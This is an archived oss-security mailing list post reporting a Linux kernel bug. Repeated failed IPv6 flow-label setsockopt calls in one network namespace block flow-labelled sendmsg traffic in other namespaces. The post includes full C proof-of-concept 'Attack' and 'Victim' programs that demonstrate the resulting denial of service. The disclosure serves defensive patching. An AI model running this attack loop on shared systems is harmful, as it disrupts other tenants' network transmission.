Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Sun, 13 Feb 2022 10:31:34 +0000
From: "Liu, Congyu" <liu3101@...due.edu>
To: "willemb@...gle.com" <willemb@...gle.com>, "security@...nel.org"
	<security@...nel.org>, "oss-security@...ts.openwall.com"
	<oss-security@...ts.openwall.com>, "netdev@...r.kernel.org"
	<netdev@...r.kernel.org>
Subject: Linux kernel: potential net namespace bug in IPv6 flow label management 


Hi,

In the test conducted on namespace, I found that one unsuccessful IPv6 flow label 
management from one net ns could stop other net ns's data transmission that requests 
flow label for a short time. Specifically, in our test case, one unsuccessful 
`setsockopt` to get flow label will affect other net ns's `sendmsg` with flow label 
set in cmsg. Simple PoC is included for verification. The behavior descirbed above 
can be reproduced in latest kernel.

I managed to figure out the data flow behind this: when asking to get a flow label, 
some `setsockopt` parameters can trigger function `ipv6_flowlabel_get` to call `fl_create` 
to allocate an exclusive flow label, then call `fl_release` to release it before returning 
-ENOENT. Global variable `ipv6_flowlabel_exclusive`, a rate limit jump label that keeps 
track of number of alive exclusive flow labels, will get increased instantly after calling 
`fl_create`. Due to its rate limit design, `ipv6_flowlabel_exclusive` can only decrease 
sometime later after calling `fl_decrease`. During this period, if data transmission function 
in other net ns (e.g. `udpv6_sendmsg`) calls `fl_lookup`, the false `ipv6_flowlabel_exclusive` 
will invoke the `__fl_lookup`. In the test case observed, this function returns error and 
eventually stops the data transmission.

I further noticed that this bug could somehow be vulnerable: if `setsockopt` is called 
continuously, then `sendmmsg` call from other net ns will be blocked forever. Using the PoC 
provided, if attack and victim programs are running simutaneously, victim program cannot transmit 
data; when running without attack program, the victim program can transmit data normally.

Thanks,
Congyu




Attack Program:

#define _GNU_SOURCE
#include <linux/in6.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <error.h>
#include <errno.h>
#include <sched.h>
#include <stdbool.h>


int main() {
	int fd1, ret, pid;
	unshare(CLONE_NEWNET);
	if ((fd1 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDPLITE)) < 0)
		error(1, errno, "socket");
	struct in6_flowlabel_req req = {
		.flr_action = IPV6_FL_A_GET,
		.flr_label = 0,
		.flr_flags = 0,
		.flr_share = IPV6_FL_S_USER,
	};
	req.flr_dst.s6_addr[0] = 0xfd;
 	req.flr_dst.s6_addr[15] = 0x1;

	while(1) {
		ret = setsockopt(fd1, SOL_IPV6, IPV6_FLOWLABEL_MGR, &req, sizeof(req));
	}

	return 0;
}



Victim program:

#define _GNU_SOURCE
#include <linux/in6.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
#include <error.h>
#include <errno.h>
#include <sched.h>
#include <stdbool.h>

static const char cfg_data[] = "a";

static void do_send(int fd, struct sockaddr_in6 addr, bool with_flowlabel, uint32_t flowlabel)
 {
 	char control[CMSG_SPACE(sizeof(flowlabel))] = {0};
 	struct msghdr msg = {0};
 	struct iovec iov = {0};
 	int ret;

 	iov.iov_base = (char *)cfg_data;
 	iov.iov_len = sizeof(cfg_data);

 	msg.msg_iov = &iov;
 	msg.msg_iovlen = 1;
	msg.msg_name = &addr;
	msg.msg_namelen = sizeof(addr);

 	if (with_flowlabel) {
 		struct cmsghdr *cm;

 		cm = (void *)control;
 		cm->cmsg_len = CMSG_LEN(sizeof(flowlabel));
 		cm->cmsg_level = SOL_IPV6;
 		cm->cmsg_type = IPV6_FLOWINFO;
 		*(uint32_t *)CMSG_DATA(cm) = htonl(flowlabel);

 		msg.msg_control = control;
 		msg.msg_controllen = sizeof(control);
 	}

 	ret = sendmsg(fd, &msg, 0);

	fprintf(stderr, "sendmsg ret = %d\n", ret);
}

static void do_recv(int fd, bool with_flowlabel, uint32_t expect)
 {
 	char control[CMSG_SPACE(sizeof(expect))];
 	char data[sizeof(cfg_data)];
 	struct msghdr msg = {0};
 	struct iovec iov = {0};
 	struct cmsghdr *cm;
 	uint32_t flowlabel;
 	int ret;

 	iov.iov_base = data;
 	iov.iov_len = sizeof(data);

 	msg.msg_iov = &iov;
 	msg.msg_iovlen = 1;


 	memset(control, 0, sizeof(control));
 	msg.msg_control = control;
 	msg.msg_controllen = sizeof(control);

 	recvmsg(fd, &msg, 0);
}

int main() {
	int fd1, ret, pid;
	unshare(CLONE_NEWNET);
	pid = fork();
	if (pid == 0) {
		execlp("ip", "ip", "link", "set", "dev", "lo", "up", NULL);
	}
	sleep(1);
	struct sockaddr_in6 src_addr = {
 		.sin6_family = AF_INET6,
 		.sin6_port = htons(7000),
 		.sin6_addr = in6addr_loopback,
		.sin6_flowinfo = htonl(0),
		.sin6_scope_id = 0,
 	};
	struct sockaddr_in6 dst_addr = {
 		.sin6_family = AF_INET6,
 		.sin6_port = htons(8000),
 		.sin6_addr = in6addr_loopback,
		.sin6_flowinfo = htonl(0),
		.sin6_scope_id = 0,
 	};
	pid = fork();
	int fd2;
	if (pid == 0) {
		if((fd2 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0)
			error(1, errno, "socket");
		if(bind(fd2, (void *)&dst_addr, sizeof(dst_addr)) < 0)
			error(1, errno, "bind");
		while(1) {
			do_recv(fd2, true, 123456);
		}
		return 0;
		
	}
	sleep(1);
	if((fd2 = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP)) < 0)
 		error(1, errno, "socket");
	while(1) {
		do_send(fd2, dst_addr, true, 123456);
		usleep(100000);
	}

	return 0;
}

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.